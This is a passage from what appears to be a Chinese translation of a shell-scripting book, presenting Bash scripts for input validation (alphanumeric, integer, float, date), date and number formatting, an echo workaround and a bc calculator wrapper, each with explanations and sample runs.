     # Validate arg: returns 0 if all upper+lower+digits; 1 otherwise

     # Remove all unacceptable chars.
➊   validchars="$(echo $1 | sed -e 's/[^[:alnum:]]//g')"

➋   if [ "$validchars" = "$1" ] ; then
       return 0
     else
       return 1
     fi
   }

   # BEGIN MAIN SCRIPT--DELETE OR COMMENT OUT EVERYTHING BELOW THIS LINE IF
   #   YOU WANT TO INCLUDE THIS IN OTHER SCRIPTS.
   # =================
   /bin/echo -n "Enter input: "
   read input

   # Input validation
   if ! validAlphaNum "$input" ; then
     echo "Please enter only letters and numbers." >&2
     exit 1
   else
     echo "Input is valid."
   fi

   exit 0

清单 1-3:*validalnum* 脚本

工作原理

这个脚本的逻辑很简单。首先,使用基于sed的转换创建输入信息的新版本,去除所有无效字符 ➊。然后,将新版本与原始版本进行比较 ➋。若两者相同,表示一切正常。如果不同,说明转换过程中丢失了不属于可接受字符集(字母加数字)的数据,输入无效。

之所以有效,是因为sed替换会去除所有不在[:alnum:]集合中的字符,这是 POSIX 正则表达式中表示所有字母数字字符的简写。如果这个转换后的值与之前输入的原始值不匹配,就揭示了输入字符串中存在非字母数字字符,从而表示输入无效。该函数返回非零结果以指示问题。请记住,我们只期望 ASCII 文本。

运行脚本

这个脚本是自包含的。它会提示用户输入,然后告知输入是否有效。然而,这个函数的更典型使用方式是将其复制并粘贴到另一个 shell 脚本的顶部,或将其作为库的一部分引用,如在脚本 #12 中展示的第 42 页。

validalnum 也是一个很好的通用 shell 脚本编程技巧示例。编写函数后再进行测试,然后再将它们集成到更大、更复杂的脚本中。这样做,你将避免很多麻烦。

结果

validalnum shell 脚本很容易使用,它会提示用户输入一个字符串进行验证。列表 1-4 展示了脚本如何处理有效和无效的输入。

$ validalnum
Enter input: valid123SAMPLE
Input is valid.
$ validalnum
Enter input: this is most assuredly NOT valid, 12345
Please enter only letters and numbers.

列表 1-4:测试 *validalnum* 脚本

黑客脚本

这种“去除有效字符,看看剩下什么”的方法很好,因为它很灵活,特别是当你记得将输入变量和匹配模式(或根本不使用模式)都用双引号括起来,以避免空输入错误时。空模式在脚本编写中是一个常见问题,因为它会将有效的条件判断转变为一个无效的语句,产生错误信息。始终记住,零字符的带引号短语与空白短语是不同的,这一点是非常有益的。如果你想要求大写字母,同时允许空格、逗号和句号,只需将➊处的替换模式更改为这里显示的代码:

sed 's/[^[:upper:] ,.]//g'

你也可以使用以下简单的测试来验证电话号码输入(允许整数值、空格、括号和破折号,但不允许前导空格或连续多个空格):

sed 's/[^- [:digit:]\(\)]//g'

但如果你想将输入限制为整数值,你必须小心一个陷阱。例如,你可能会想尝试这样做:

sed 's/[^[:digit:]]//g'

这段代码适用于正数,但如果你想允许负数输入呢?如果你只是将负号添加到有效字符集里,-3-4 就会变成有效输入,尽管它显然不是一个合法的整数。脚本 #5 在第 23 页中讨论了如何处理负数。

#3 规范化日期格式

Shell 脚本开发中的一个问题是数据格式的不一致性;将它们规范化可能从有点棘手到非常困难。日期格式是最难处理的,因为日期可以有很多不同的表示方式。即使你提示输入一个特定的格式,比如月-日-年,你也很可能会得到不一致的输入:例如数字表示月份而不是月份名称,月份名称的缩写,甚至是全部大写的月份名称。由于这个原因,一个规范化日期的函数,尽管它本身很基础,但将为后续脚本工作提供非常有用的构建块,特别是脚本 #7 中在第 29 页展示的。

代码

清单 1-5 中的脚本规范化符合相对简单条件集的日期格式:月份必须以名称或 1 到 12 之间的数字表示,年份必须以四位数字表示。规范化后的日期包括月份名称(以三字母缩写表示),接着是日期,再接着是四位数字的年份。

   #!/bin/bash
   # normdate--Normalizes month field in date specification to three letters,
   #   first letter capitalized. A helper function for Script #7, valid-date.
   #   Exits with 0 if no error.

   monthNumToName()
   {
     # Sets the 'month' variable to the appropriate value.
     case $1 in
       1 ) month="Jan"    ;;  2 ) month="Feb"    ;;
       3 ) month="Mar"    ;;  4 ) month="Apr"    ;;
       5 ) month="May"    ;;  6 ) month="Jun"    ;;
       7 ) month="Jul"    ;;  8 ) month="Aug"    ;;
       9 ) month="Sep"    ;;  10) month="Oct"    ;;
       11) month="Nov"    ;;  12) month="Dec"    ;;
       * ) echo "$0: Unknown month value $1" >&2
           exit 1
     esac
     return 0
   }

   # BEGIN MAIN SCRIPT--DELETE OR COMMENT OUT EVERYTHING BELOW THIS LINE IF
   #   YOU WANT TO INCLUDE THIS IN OTHER SCRIPTS.
   # =================
   # Input validation
   if [ $# -ne 3 ] ; then
     echo "Usage: $0 month day year" >&2
     echo "Formats are August 3 1962 and 8 3 1962" >&2
     exit 1
   fi
   if [ $3 -le 99 ] ; then
     echo "$0: expected 4-digit year value." >&2
     exit 1
   fi

   # Is the month input format a number?
➊ if [ -z $(echo $1|sed 's/[[:digit:]]//g') ]; then
     monthNumToName $1
   else
   # Normalize to first 3 letters, first upper- and then lowercase.
➋   month="$(echo $1|cut -c1|tr '[:lower:]' '[:upper:]')"
➌   month="$month$(echo $1|cut -c2-3 | tr '[:upper:]' '[:lower:]')"
   fi

   echo $month $2 $3

   exit 0

清单 1-5:*normdate* Shell 脚本

它是如何工作的

请注意脚本中的第三个条件判断,位于➊。它会从第一个输入字段中剥离所有数字,然后使用-z测试检查结果是否为空。如果结果为空,说明输入仅包含数字,因此可以直接通过monthNumToName映射为一个月份名称,并验证该数字是否代表有效的月份。否则,我们假设第一个输入是一个月份字符串,并使用复杂的cuttr管道结合两个子壳调用(即被$()括起来的命令序列,在这种情况下,命令会被调用并用其输出替代)对其进行规范化。

第一个子壳序列位于➋,它提取输入的第一个字符并使用tr将其转换为大写(尽管echo $1|cut -c1序列也可以写成${1%${1#?}},如之前在 POSIX 中所见)。第二个序列位于➌,它提取第二和第三个字符,并强制将其转换为小写,最终得到一个大写的三字母缩写形式的month。注意,这种字符串操作方法并不会检查输入是否实际是一个有效的月份,与传入数字的月份不同。

运行脚本

为了确保未来涉及normdate功能的脚本具有最大灵活性,本脚本设计为接受命令行输入的三个字段,如清单 1-6 所示。如果你只打算交互式使用此脚本,应该提示用户输入这三个字段,但这会使得从其他脚本调用normdate变得更加困难。

结果

$ normdate 8 3 62
normdate: expected 4-digit year value.
$ normdate 8 3 1962
Aug 3 1962
$ normdate AUGUST 03 1962
Aug 03 1962

清单 1-6:测试*normdate*脚本

请注意,这个脚本只规范化月份表示方式;日期格式(例如带前导零的日期)和年份保持不变。

破解脚本

在你为这个脚本能添加的众多扩展感到兴奋之前,先查看一下脚本 #7,它使用normdate来验证输入的日期,具体内容见第 29 页。

然而,你可以做一个修改,允许脚本接受 MM/DD/YYYY 或 MM-DD-YYYY 格式的日期,方法是将以下代码添加到第一个条件判断之前。

if [ $# -eq 1 ] ; then # To compensate for / or - formats
  set -- $(echo $1 | sed 's/[\/\-]/ /g')
fi

通过这个修改,你可以输入并规范化以下常见格式:

$ normdate 6-10-2000
Jun 10 2000
$ normdate March-11-1911
Mar 11 1911
$ normdate 8/3/1962
Aug 3 1962

如果仔细阅读代码,你会意识到,通过采用更复杂的方法验证指定日期中的年份,脚本将会得到改进,更不用说考虑到各种国际日期格式了。这些作为练习留给你去探索!

#4 以吸引人的方式展示大数字

程序员常犯的一个错误是,在将计算结果展示给用户之前,没有先对其进行格式化。用户很难判断43245435是否属于百万级别,除非他们从右到左数,并在每三个数字处 mentally 插入一个逗号。清单 1-7 中的脚本会很好地格式化你的数字。

代码

   #!/bin/bash
   # nicenumber--Given a number, shows it in comma-separated form. Expects DD
   #   (decimal point delimiter) and TD (thousands delimiter) to be instantiated.
   #   Instantiates nicenum or, if a second arg is specified, the output is
   #   echoed to stdout.

   nicenumber()
   {
     # Note that we assume that '.' is the decimal separator in the INPUT value
     #   to this script. The decimal separator in the output value is '.' unless
     #   specified by the user with the -d flag.

➊   integer=$(echo $1 | cut -d. -f1)        # Left of the decimal
➋   decimal=$(echo $1 | cut -d. -f2)        # Right of the decimal
     # Check if number has more than the integer part.
     if [ "$decimal" != "$1" ]; then
       # There's a fractional part, so let's include it.
       result="${DD:= '.'}$decimal"
     fi

     thousands=$integer

➌   while [ $thousands -gt 999 ]; do
➍     remainder=$(($thousands % 1000))    # Three least significant digits

       # We need 'remainder' to be three digits. Do we need to add zeros?
       while [ ${#remainder} -lt 3 ] ; do  # Force leading zeros
         remainder="0$remainder"
       done

➎     result="${TD:=","}${remainder}${result}"    # Builds right to left
➏     thousands=$(($thousands / 1000))    # To left of remainder, if any
     done

     nicenum="${thousands}${result}"
     if [ ! -z $2 ] ; then
       echo $nicenum
     fi
   }

   DD="."  # Decimal point delimiter, to separate whole and fractional values
   TD=","  # Thousands delimiter, to separate every three digits

   # BEGIN MAIN SCRIPT
   # =================

➐ while getopts "d:t:" opt; do
     case $opt in
       d ) DD="$OPTARG"   ;;
       t ) TD="$OPTARG"   ;;
     esac
   done
   shift $(($OPTIND - 1))

   # Input validation
   if [ $# -eq 0 ] ; then
     echo "Usage: $(basename $0) [-d c] [-t c] number"
     echo "  -d specifies the decimal point delimiter"
     echo "  -t specifies the thousands delimiter"
     exit 0
   fi

➑ nicenumber $1 1    # Second arg forces nicenumber to 'echo' output.

   exit 0

清单 1-7: *nicenumber* 脚本将长数字格式化,使其更易于阅读。

工作原理

这个脚本的核心是nicenumber()函数中的while循环 ➌,它通过迭代不断从存储在变量thousands中的数值中移除后三位,并将这些数字附加到正在构建的漂亮数字版本 ➎。然后,循环会减少存储在thousands中的数字 ➏,如果需要,再次将其输入循环。nicenumber()函数完成后,主脚本逻辑开始。首先,它解析传递给脚本的任何选项,使用getopts ➐,然后最后调用nicenumber()函数 ➑,并将用户指定的最后一个参数传递给它。

运行脚本

要运行这个脚本,只需指定一个非常大的数值。脚本会根据需要添加小数点和分隔符,使用默认值或通过标志指定的字符。

结果可以纳入输出消息中,如下所示:

echo "Do you really want to pay \$$(nicenumber $price)?"

结果

nicenumber脚本易于使用,但也可以接受一些高级选项。清单 1-8 演示了使用脚本格式化一些数字。

$ nicenumber 5894625
5,894,625
$ nicenumber 589462532.433
589,462,532.433
$ nicenumber -d, -t. 589462532.433
589.462.532,433

清单 1-8: 测试 *nicenumber* 脚本

修改脚本

不同国家使用不同的字符作为千位和小数点分隔符,因此我们可以为这个脚本添加灵活的调用标志。例如,德国人和意大利人使用-d "."-t ",",法国人使用-d ","-t " ",而瑞士有四种官方语言,他们使用-d "."-t "'"。这是一个很好的例子,说明灵活性优于硬编码,使得该工具对尽可能广泛的用户群体都很有用。

另一方面,我们确实硬编码了 "." 作为输入值的小数分隔符,因此如果你预计会使用不同的分隔符来处理带小数的输入值,可以修改在 ➊ 和 ➋ 处调用的 cut 命令,这里目前指定了 "." 作为小数分隔符。

以下代码展示了一种解决方案:

integer=$(echo $1 | cut "-d$DD" -f1)         # Left of the decimal
decimal=$(echo $1 | cut "-d$DD" -f2)         # Right of the decimal

这段代码有效,除非输入中的小数分隔符与输出中指定的分隔符不同,在这种情况下,脚本会静默中断。一个更复杂的解决方案是在这两行之前加入一个测试,确保输入的小数分隔符与用户请求的相同。我们可以通过使用脚本 #2 中展示的相同技巧来实现这一测试,如第 15 页所示:将所有数字去掉,看看剩下什么,就像下面的代码一样。

separator="$(echo $1 | sed 's/[[:digit:]]//g')"
if [ ! -z "$separator" -a "$separator" != "$DD" ] ; then
  echo "$0: Unknown decimal separator $separator encountered." >&2
  exit 1
fi

#5 验证整数输入

正如你在脚本 #2 中看到的那样,验证整数输入看起来很简单,直到你希望确保负值也能被接受。问题在于,每个数字值只能有一个负号,而且负号必须出现在值的最前面。列表 1-9 中的验证例程确保负数格式正确,并且更广泛地,它可以检查值是否在用户指定的范围内。

代码

   #!/bin/bash
   # validint--Validates integer input, allowing negative integers too

   validint()
   {
     # Validate first field and test that value against min value $2 and/or
     #   max value $3 if they are supplied. If the value isn't within range
     #   or it's not composed of just digits, fail.

     number="$1";      min="$2";      max="$3"

➊   if [ -z $number ] ; then
       echo "You didn't enter anything. Please enter a number." >&2
       return 1
     fi

     # Is the first character a '-' sign?
➋   if [ "${number%${number#?}}" = "-" ] ; then
       testvalue="${number#?}" # Grab all but the first character to test.
     else
       testvalue="$number"
     fi

     # Create a version of the number that has no digits for testing.
➌   nodigits="$(echo $testvalue | sed 's/[[:digit:]]//g')"

     # Check for nondigit characters.
     if [ ! -z $nodigits ] ; then
       echo "Invalid number format! Only digits, no commas, spaces, etc." >&2
       return 1
     fi

➍   if [ ! -z $min ] ; then
       # Is the input less than the minimum value?
       if [ "$number" -lt "$min" ] ; then
         echo "Your value is too small: smallest acceptable value is $min." >&2
         return 1
       fi
     fi
     if [ ! -z $max ] ; then
       # Is the input greater than the maximum value?
       if [ "$number" -gt "$max" ] ; then
         echo "Your value is too big: largest acceptable value is $max." >&2
         return 1
       fi
     fi
     return 0
   }

列表 1-9: *validint* 脚本

原理解释

验证整数是相对直接的,因为值要么只是数字(0 到 9)的序列,要么可能带有一个只能出现一次的负号。如果调用validint()函数并传入最小值或最大值,或者两者,它还会检查这些值,以确保输入的值在范围内。

函数在➊处确保用户没有完全跳过输入(这里另一个关键点是需要预见到可能出现空字符串的情况,使用引号来确保不会生成错误信息)。接着,在➋处,它检查负号,并在➌处创建一个去掉所有数字的输入值版本。如果该值的长度不为零,则表示存在问题,测试失败。

如果值有效,用户输入的数字会与最小值和最大值进行比较 ➍。最后,函数返回 1 表示出错,返回 0 表示成功。

运行脚本

整个脚本是一个函数,可以复制到其他 Shell 脚本中或作为库文件包含。要将其转为命令,只需将列表 1-10 中的代码附加到脚本的底部。

# Input validation
if validint "$1" "$2" "$3" ; then
  echo "Input is a valid integer within your constraints."
fi

列表 1-10:为 *validint* 添加支持,以使其作为命令运行

结果

将列表 1-10 放入脚本中后,你应该能够像列表 1-11 所示那样使用它:

$ validint 1234.3
Invalid number format! Only digits, no commas, spaces, etc.
$ validint 103 1 100
Your value is too big: largest acceptable value is 100.
$ validint -17 0 25
Your value is too small: smallest acceptable value is 0.
$ validint -17 -20 25
Input is a valid integer within your constraints.

列表 1-11:测试 *validint* 脚本

破解脚本

请注意,在➋处的测试检查数字的第一个字符是否为负号:

if [ "${number%${number#?}}" = "-" ] ; then

如果第一个字符是负号,testvalue将被赋值为整数值的数字部分。然后,这个非负值会去掉数字并进一步测试。

你可能会想使用逻辑与(-a)来连接表达式并缩减一些嵌套的if语句。例如,看起来这段代码应该是有效的:

if [ ! -z $min -a "$number" -lt "$min" ] ; then
  echo "Your value is too small: smallest acceptable value is $min." >&2
  exit 1
fi

然而,实际并不是这样,因为即使一个 AND 表达式的第一个条件为假,你也不能保证第二个条件不会被测试(这与大多数其他编程语言不同)。这意味着,如果你尝试这样做,你可能会遇到各种无效或意外的比较值所导致的错误。这本不应该是这样,但这就是 shell 脚本的特性。

#6 验证浮点输入

初看之下,验证浮点(或“实数”)值的过程在 shell 脚本的范围和能力内可能看起来令人畏惧,但请考虑到,浮点数仅仅是两个整数通过小数点分隔开。结合这个洞察力,再加上能够内联引用不同脚本(validint)的能力,你会发现浮点数验证测试竟然可以出奇的简短。清单 1-12 中的脚本假设它是从与validint脚本相同的目录下运行的。

代码

   #!/bin/bash

   # validfloat--Tests whether a number is a valid floating-point value.
   #   Note that this script cannot accept scientific (1.304e5) notation.

   # To test whether an entered value is a valid floating-point number,
   #   we need to split the value into two parts: the integer portion
   #   and the fractional portion. We test the first part to see whether
   #   it's a valid integer, and then we test whether the second part is a
   #   valid >=0 integer. So -30.5 evaluates as valid, but -30.-8 doesn't.

   # To include another shell script as part of this one, use the "." source
   #   notation. Easy enough.

   . validint

   validfloat()
   {
     fvalue="$1"

     # Check whether the input number has a decimal point.
➊   if [ ! -z $(echo $fvalue | sed 's/[^.]//g') ] ; then

       # Extract the part before the decimal point.
➋     decimalPart="$(echo $fvalue | cut -d. -f1)"

       # Extract the digits after the decimal point.
➌     fractionalPart="${fvalue#*\.}"

       # Start by testing the decimal part, which is everything
       #   to the left of the decimal point.

➍     if [ ! -z $decimalPart ] ; then
         # "!" reverses test logic, so the following is
         #   "if NOT a valid integer"
         if ! validint "$decimalPart" "" "" ; then
           return 1
         fi
       fi

       # Now let's test the fractional value.

       # To start, you can't have a negative sign after the decimal point
       #   like 33.-11, so let's test for the '-' sign in the decimal.
➎     if [ "${fractionalPart%${fractionalPart#?}}" = "-" ] ; then
         echo "Invalid floating-point number: '-' not allowed \
           after decimal point." >&2
         return 1
       fi
       if [ "$fractionalPart" != "" ] ; then
         # If the fractional part is NOT a valid integer...
         if ! validint "$fractionalPart" "0" "" ; then
           return 1
         fi
       fi

   else
     # If the entire value is just "-", that's not good either.
➏   if [ "$fvalue" = "-" ] ; then
       echo "Invalid floating-point format." >&2
       return 1
     fi

     # Finally, check that the remaining digits are actually
     #   valid as integers.
     if ! validint "$fvalue" "" "" ; then
       return 1
     fi
   fi

     return 0
   }

清单 1-12: *validfloat* 脚本

工作原理

脚本首先检查输入值是否包含小数点 ➊。如果没有,它就不是浮点数。接下来,小数 ➋ 和分数 ➌ 部分的值会被切割出来进行分析。然后在 ➍,脚本检查小数部分(小数点左侧的数字)是否是一个有效的整数。接下来的检查较为复杂,因为我们需要在 ➎ 检查是否没有额外的负号(避免出现像 17. –30 这样的奇怪情况),然后再次确保分数部分(小数点右侧的数字)是一个有效的整数。

最后的检查在 ➏,是检查用户是否仅指定了负号和小数点(这会很奇怪,必须承认)。

一切正常吗?如果是,那么脚本返回 0,表示用户输入了一个有效的浮点数。

运行脚本

如果调用该函数时没有产生错误信息,返回代码为 0,并且指定的数字是一个有效的浮点值。你可以通过在代码末尾添加以下几行来测试这个脚本:

if validfloat $1 ; then
  echo "$1 is a valid floating-point value."
fi

exit 0

如果validint产生了错误,确保它作为一个独立的函数在PATH中可以被脚本访问,或者直接将它复制粘贴到脚本文件中。

结果

validfloat shell 脚本仅接受一个参数来进行验证。清单 1-13 使用validfloat脚本验证几个输入。

$ validfloat 1234.56
1234.56 is a valid floating-point value.
$ validfloat -1234.56
-1234.56 is a valid floating-point value.
$ validfloat -.75
-.75 is a valid floating-point value.
$ validfloat -11.-12
Invalid floating-point number: '-' not allowed after decimal point.
$ validfloat 1.0344e22
Invalid number format! Only digits, no commas, spaces, etc.

清单 1-13:测试 *validfloat* 脚本

如果你在此时看到额外的输出,可能是因为你之前为了测试 validint 添加了一些行,但在切换到这个脚本时忘记删除它们。只需返回到脚本 #5 的第 23 页,确保那些让你以独立方式运行函数的最后几行已经被注释掉或删除。

破解脚本

一个很酷的附加技巧是扩展这个函数以允许科学记数法,如最后一个例子所示。这并不难。你可以检测是否存在 'e''E',然后将结果分为三个部分:小数部分(始终是一个数字),分数部分和 10 的幂。然后你只需要确保每部分都是一个 validint

如果你不想要求小数点前有前导零,你也可以修改列表 1-12 中的条件测试。在处理奇怪格式时要小心。

#7 验证日期格式

最具挑战性的验证任务之一,但对于处理日期的 Shell 脚本至关重要的是,确保指定的日期在日历上实际存在。如果我们忽略闰年,这项任务不算太难,因为每年的日历是恒定的。在这种情况下,我们只需要一个包含每个月最大天数的表格,来与指定的日期进行比较。为了考虑闰年,你需要向脚本中添加一些额外的逻辑,这也使得问题变得更加复杂。

判断某一年是否为闰年的一组规则如下:

• 不能被 4 整除的年份不是闰年。

• 能被 4 和 400 整除的年份闰年。

• 能被 4 整除,但不能被 400 整除的年份,以及能被 100 整除的年份不是闰年。

• 所有其他能被 4 整除的年份闰年。

当你浏览源代码列表 1-14 时,注意这个脚本如何利用 normdate 来确保在继续之前日期格式一致。

代码

   #!/bin/bash
   # valid-date--Validates a date, taking into account leap year rules

   normdate="whatever you called the normdate.sh script"

   exceedsDaysInMonth()
   {
     # Given a month name and day number in that month, this function will
     #   return 0 if the specified day value is less than or equal to the
     #   max days in the month; 1 otherwise.

➊   case $(echo $1|tr '[:upper:]' '[:lower:]') in
       jan* ) days=31    ;;  feb* ) days=28    ;;
       mar* ) days=31    ;;  apr* ) days=30    ;;
       may* ) days=31    ;;  jun* ) days=30    ;;
 jul* ) days=31    ;;  aug* ) days=31    ;;
       sep* ) days=30    ;;  oct* ) days=31    ;;
       nov* ) days=30    ;;  dec* ) days=31    ;;
          * ) echo "$0: Unknown month name $1" >&2
              exit 1
     esac
     if [ $2 -lt 1 -o $2 -gt $days ] ; then
       return 1
     else
       return 0   # The day number is valid.
     fi
   }

   isLeapYear()
   {
     # This function returns 0 if the specified year is a leap year;
     #   1 otherwise.
     # The formula for checking whether a year is a leap year is:
     #   1\. Years not divisible by 4 are not leap years.
     #   2\. Years divisible by 4 and by 400 are leap years.
     #   3\. Years divisible by 4, not divisible by 400, but divisible
     #      by 100 are not leap years.
     #   4\. All other years divisible by 4 are leap years.

     year=$1
➋   if [ "$((year % 4))" -ne 0 ] ; then
       return 1 # Nope, not a leap year.
     elif [ "$((year % 400))" -eq 0 ] ; then
       return 0 # Yes, it's a leap year.
     elif [ "$((year % 100))" -eq 0 ] ; then
       return 1
     else
       return 0
     fi
   }

   # BEGIN MAIN SCRIPT
   # =================

   if [ $# -ne 3 ] ; then
     echo "Usage: $0 month day year" >&2
     echo "Typical input formats are August 3 1962 and 8 3 1962" >&2
     exit 1
   fi

   # Normalize date and store the return value to check for errors.

➌ newdate="$($normdate "$@")"

   if [ $? -eq 1 ] ; then
     exit 1        # Error condition already reported by normdate
   fi

   # Split the normalized date format, where
   #   first word = month, second word = day, third word = year.
   month="$(echo $newdate | cut -d\  -f1)"
   day="$(echo $newdate | cut -d\  -f2)"
   year="$(echo $newdate | cut -d\  -f3)"

   # Now that we have a normalized date, let's check whether the
   #   day value is legal and valid (e.g., not Jan 36).

   if ! exceedsDaysInMonth $month "$2" ; then
     if [ "$month" = "Feb" -a "$2" -eq "29" ] ; then
       if ! isLeapYear $3 ; then
➍       echo "$0: $3 is not a leap year, so Feb doesn't have 29 days." >&2
         exit 1
       fi
     else
       echo "$0: bad day value: $month doesn't have $2 days." >&2
       exit 1
     fi
   fi

   echo "Valid date: $newdate"

   exit 0

列表 1-14: *valid-date* 脚本

工作原理

这是一个有趣的脚本编写,因为它需要进行大量的智能条件测试,涉及到月份天数、闰年等内容。逻辑不仅仅是指定月份 = 1–12,日期 = 1–31 等等。为了组织性,使用了特定的函数来简化编写和理解过程。

首先,exceedsDaysInMonth() 解析用户的月份指定,分析非常宽松(这意味着月份名称 JANUAR 也能正常工作)。这一过程在 ➊ 使用一个 case 语句完成,该语句将其参数转换为小写字母,然后进行比较以确定该月的天数。这种方法可行,但假设二月总是 28 天。

为了解决闰年问题,第二个函数 isLeapYear() 使用一些基本的数学测试来确定指定的年份是否有 2 月 29 日 ➋。

在主脚本中,输入被传递到之前展示的脚本 normdate,以规范化输入格式 ➌,然后将其拆分为三个字段 $month$day$year。接着,调用 exceedsDaysInMonth 函数,检查指定月份的日期是否无效(例如 9 月 31 日),如果用户指定了 2 月并且日期为 29 日,则会触发特殊条件。通过 isLeapYear 来测试该年是否为闰年,在 ➍ 处生成适当的错误。如果用户输入通过了所有这些测试,那么它就是一个有效日期!

运行脚本

要运行脚本(如清单 1-15 所示),在命令行中输入日期,格式为月-日-年。月份可以是三字母缩写、完整单词或数字值;年份必须是四位数字。

结果

$ valid-date august 3 1960
Valid date: Aug 3 1960
$ valid-date 9 31 2001
valid-date: bad day value: Sep doesn't have 31 days.
$ valid-date feb 29 2004
Valid date: Feb 29 2004
$ valid-date feb 29 2014
valid-date: 2014 is not a leap year, so Feb doesn't have 29 days.

清单 1-15:测试 *valid-date* 脚本

破解脚本

采用类似的方法,脚本可以验证时间规格,使用 24 小时制时钟或午前/午后(AM/PM)后缀。将值按照冒号分隔,确保分钟和秒数(如果指定)在 0 到 60 之间,然后检查第一个值,如果允许 AM/PM,则应在 0 到 12 之间;如果使用 24 小时制,则应在 0 到 24 之间。幸运的是,虽然有闰秒和其他微小的时间变化来保持日历平衡,但我们在日常使用中可以安全忽略这些,因此不需要担心实现如此复杂的时间计算。

如果你在 Unix 或 GNU/Linux 实现中能够访问到 GNU date,测试闰年的方法会有所不同。通过指定以下命令并查看得到的结果来进行测试:

$ date -d 12/31/1996 +%j

如果你使用的是更新、更好的 date 版本,你会看到 366。在较旧的版本中,它会抱怨输入格式。现在想想从更新版 date 命令得到的结果,看看你是否能想出一个两行的函数来测试某个年份是否为闰年!

最后,这个脚本对于月份名称非常宽容;febmama 完全可以正常工作,因为 ➊ 处的 case 语句仅检查指定单词的前三个字母。如果你愿意,可以通过测试常见的缩写(如 feb)以及完全拼写的月份名称(如 february),甚至是常见的拼写错误(如 febuary),来清理和改进这一点。如果你有动机,这些都很容易实现!

#8 绕过不良的 echo 实现

如在 “什么是 POSIX?”(第 10 页)中提到的,虽然大多数现代 Unix 和 GNU/Linux 实现都具有 echo 命令版本,并且知道 -n 标志应抑制输出中的尾随换行符,但并不是所有实现都如此。一些实现使用 \c 作为特殊嵌入字符来防止默认行为,而其他一些则坚持在输出中始终包括尾随换行符。

判断你的 echo 是否正确实现很简单:只需输入这些命令并查看发生了什么:

$ echo -n "The rain in Spain"; echo " falls mainly on the Plain"

如果你的 echo 支持 -n 标志,你会看到类似这样的输出:

The rain in Spain falls mainly on the Plain

如果没有,你会看到类似这样的输出:

-n The rain in Spain
falls mainly on the Plain

确保脚本输出按照预期呈现给用户非常重要,随着我们的脚本变得越来越互动,这一点将变得尤为重要。为此,我们将编写一个 echo 的替代版本,称为 echon,它将始终抑制尾部的换行符。这样,每次我们需要 echo -n 功能时,就可以可靠地调用它。

代码

解决这个奇怪的 echo 问题的方式和本书中的页数一样多。我们最喜欢的方式之一非常简洁;它只是简单地通过 awk printf 命令过滤输入,正如 示例 1-16 所示。

echon()
{
  echo "$*" | awk '{ printf "%s", $0 }'
}

示例 1-16:一个简单的 *echo* 替代方案,使用 *awk printf* 命令

然而,你可能希望避免调用 awk 命令时产生的开销。如果你有一个用户级的 printf 命令,你可以写一个 echon 函数,使用它来过滤输入,就像在 示例 1-17 中所示。

echon()
{
  printf "%s" "$*"
}

示例 1-17:使用简单的 *printf* 命令的 *echo* 替代方案

如果你没有 printf,并且不想调用 awk,那么可以使用 tr 命令去除任何最终的换行符,就像在 示例 1-18 中所示。

echon()
{
  echo "$*" | tr -d '\n'
}

示例 1-18:使用 *tr* 工具的一个简单 *echo* 替代方案

这种方法简单高效,并且应该具有很好的可移植性。

运行脚本

只需将脚本文件添加到你的 PATH,你就可以用 echon 替代任何 echo -n 调用,确保每次输出后,用户的光标都停留在行尾。

结果

echon shell 脚本通过接收一个参数并打印它,然后读取一些用户输入来演示 echon 功能。示例 1-19 展示了该测试脚本的使用。

$ echon "Enter coordinates for satellite acquisition: "
Enter coordinates for satellite acquisition: 12,34

示例 1-19:测试 *echon* 命令

修改脚本

我们不会撒谎。事实是,某些 shell 的 echo 语句知道 -n 标志,而其他 shell 则期望使用 \c 作为结束符,还有一些 shell 看似根本没有避免添加换行符的能力,这对于脚本编写者来说是个巨大的痛苦。为了解决这种不一致,你可以创建一个函数,自动测试 echo 的输出,以确定当前使用的是哪种情况,然后相应地修改调用。例如,你可以写类似于 echo -n hi | wc -c 的命令,然后测试结果是两个字符(hi)、三个字符(hi 加上换行符)、四个字符(-n hi),还是五个字符(-n hi 加上换行符)。

#9 一个任意精度的浮点计算器

在脚本编写中最常用的序列之一是$(( )),它允许你使用各种基本的数学函数进行计算。这个序列非常有用,能够简化常见操作,例如递增计数器变量。它支持加法、减法、除法、余数(或取模)和乘法操作,但不支持分数或小数值。因此,以下命令返回 0,而不是 0.5:

echo $(( 1 / 2 ))

因此,当计算需要更高精度的值时,你会面临一定的挑战。目前,命令行上并没有很多优秀的计算器程序。唯一的例外是bc,这个少数 Unix 用户了解的奇特程序。bc自称是一个任意精度的计算器,回溯到 Unix 的黎明时期,带有神秘的错误信息,完全没有提示,并假设你如果使用它,已经知道该怎么做。不过,这没关系。我们可以编写一个包装器,使bc更加用户友好,正如清单 1-20 所示。

代码

   #!/bin/bash

   # scriptbc--Wrapper for 'bc' that returns the result of a calculation

➊ if ["$1" = "-p" ] ; then
     precision=$2
     shift 2
   else
➋   precision=2           # Default
   fi

➌ bc -q -l << EOF
     scale=$precision
     $*
     quit
   EOF

   exit 0

清单 1-20: The *scriptbc* 脚本

它是如何工作的

➌处的<<表示法允许你从脚本中包含内容,并将其当作直接输入流的一部分处理,在本例中,它为将命令传递给bc程序提供了一个简单的机制。这被称为编写here 文档。在这种表示法中,紧跟在<<序列之后的内容将会匹配(独立成行),用以表示输入流的结束。在清单 1-20 中,它是EOF

这个脚本还展示了如何使用参数来使命令更加灵活。在这里,如果脚本调用时使用-p标志 ➊,它允许你指定输出数字的精度。如果未指定精度,程序默认scale=2 ➋。

在使用bc时,了解lengthscale之间的区别至关重要。就bc而言,length指的是数字中的总位数,而scale则是小数点后面的数字位数。因此,10.25 的length为 4,scale为 2,而 3.14159 的length为 6,scale为 5。

默认情况下,bclength值是可变的,但由于其scale为零,未做任何修改的bc$(( ))表示法的功能完全相同。幸运的是,如果你为bc添加scale设置,你会发现它的潜力巨大,正如这个示例所示,计算了 1962 年到 2002 年(不包括闰日)之间经过了多少周:

$ bc
bc 1.06.95
Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation,
Inc.
This is free software with ABSOLUTELY NO WARRANTY.
For details type 'warranty'.
scale=10
(2002-1962)*365
14600
14600/7
2085.7142857142
quit

为了允许从命令行访问 bc 功能,包装脚本必须屏蔽开头的版权信息(如果有的话),尽管大多数 bc 实现已经在其输入不是终端(stdin)时屏蔽了该信息。包装脚本还会将 scale 设置为一个合理的值,将实际的表达式传递给 bc 程序,然后通过 quit 命令退出。

运行脚本

要运行这个脚本,将一个数学表达式作为参数传递给程序,如清单 1-21 所示。

结果

$ scriptbc 14600/7
2085.71
$ scriptbc -p 10 14600/7
2085.7142857142

清单 1-21:测试 *scriptbc* 脚本

